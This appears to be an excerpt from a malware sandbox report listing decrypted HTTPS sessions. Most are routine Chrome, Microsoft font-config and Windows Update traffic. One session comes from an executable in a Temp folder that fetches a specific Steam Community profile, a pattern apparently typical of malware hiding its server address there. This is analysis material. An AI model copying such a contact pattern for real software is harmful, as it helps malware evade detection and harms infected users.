2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 Data Ascii: romise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=funct
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 Data Ascii: r("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return th
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e Data Ascii: =function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 Data Ascii: e.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)re
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 Data Ascii: 9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	142.250.184.206	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:18 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 01:13:18 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 37 33 39 39 35 37 39 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731373995794",null,null,null,
2024-11-12 01:13:18 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=1GKJWs_TXhAcKC_Sc7Zug0n7lSwkmVOmmdQXUYI7utrNzD0pTuiuFAg2knIjhSdWfPx8oa448iWD6hheOtEIvuLFOcxyDAFKyayE1dTqx1AuHPj7N07luMLULO3aIc7Cd9WaCnhywY_ZRDbC7B75O8OiYgUNMRE7cjSFRDagjdBk1og9sXA; expires=Wed, 14-May-2025 01:13:18 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 12 Nov 2024 01:13:18 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 12 Nov 2024 01:13:18 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 01:13:18 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-12 01:13:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	184.28.90.27	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:18 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 01:13:18 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=228703 Date: Tue, 12 Nov 2024 01:13:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49757	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 01:13:19 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=228740 Date: Tue, 12 Nov 2024 01:13:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 01:13:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49756	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7vm+dLXKRdfa6ks&MD=2BrrOrKE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 01:13:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3b0ae057-e729-4045-959e-455861463603 MS-RequestId: dacddadc-3dcf-47b3-bd84-8cec31b78b94 MS-CV: zK/yJ6Dx9ka8iHyp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 01:13:20 GMT Connection: close Content-Length: 24490
2024-11-12 01:13:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 01:13:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49768	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7vm+dLXKRdfa6ks&MD=2BrrOrKE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 01:13:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 010f230a-b9f2-4296-b95c-1a2a70ed4ef2 MS-RequestId: ca5a1452-71e5-4c35-8bec-2fd2242ee148 MS-CV: tk8R6Hdy9kaqJS8i.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 01:13:59 GMT Connection: close Content-Length: 30005
2024-11-12 01:13:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-12 01:13:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49769	23.197.127.21	443	7968	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:00 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-11-12 01:14:00 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 12 Nov 2024 01:14:00 GMT Content-Length: 35964 Connection: close Set-Cookie: sessionid=396f83621947ffc6374369db; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Ce6510aad57c34d7bda3161fd77cbb61d; Path=/; Secure; HttpOnly; SameSite=None
2024-11-12 01:14:00 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-11-12 01:14:00 UTC	10109	IN	Data Raw: 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submen
